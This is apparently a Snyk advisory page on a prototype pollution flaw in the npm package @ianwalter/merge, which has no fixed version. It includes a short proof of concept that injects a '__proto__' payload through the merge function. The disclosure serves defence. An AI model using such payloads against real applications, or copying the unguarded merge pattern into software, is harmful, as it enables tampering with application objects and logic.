@ianwalter/merge/.../merge@2.0.1 vulnerabilities

Recursively merge JavaScript Objects

Direct Vulnerabilities

Known vulnerabilities in the @ianwalter/merge package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Prototype Pollution

@ianwalter/merge is a Recursively merge JavaScript Objects

Affected versions of this package are vulnerable to Prototype Pollution via the main (merge) function. Maintainer suggests using @generates/merger instead.

PoC

const merge = require('@ianwalter/merge');
let obj = {};
console.log("Before being polluted: " + obj.polluted);
var EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
merge({}, EVIL_JSON);
console.log("After being polluted: " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for @ianwalter/merge.

*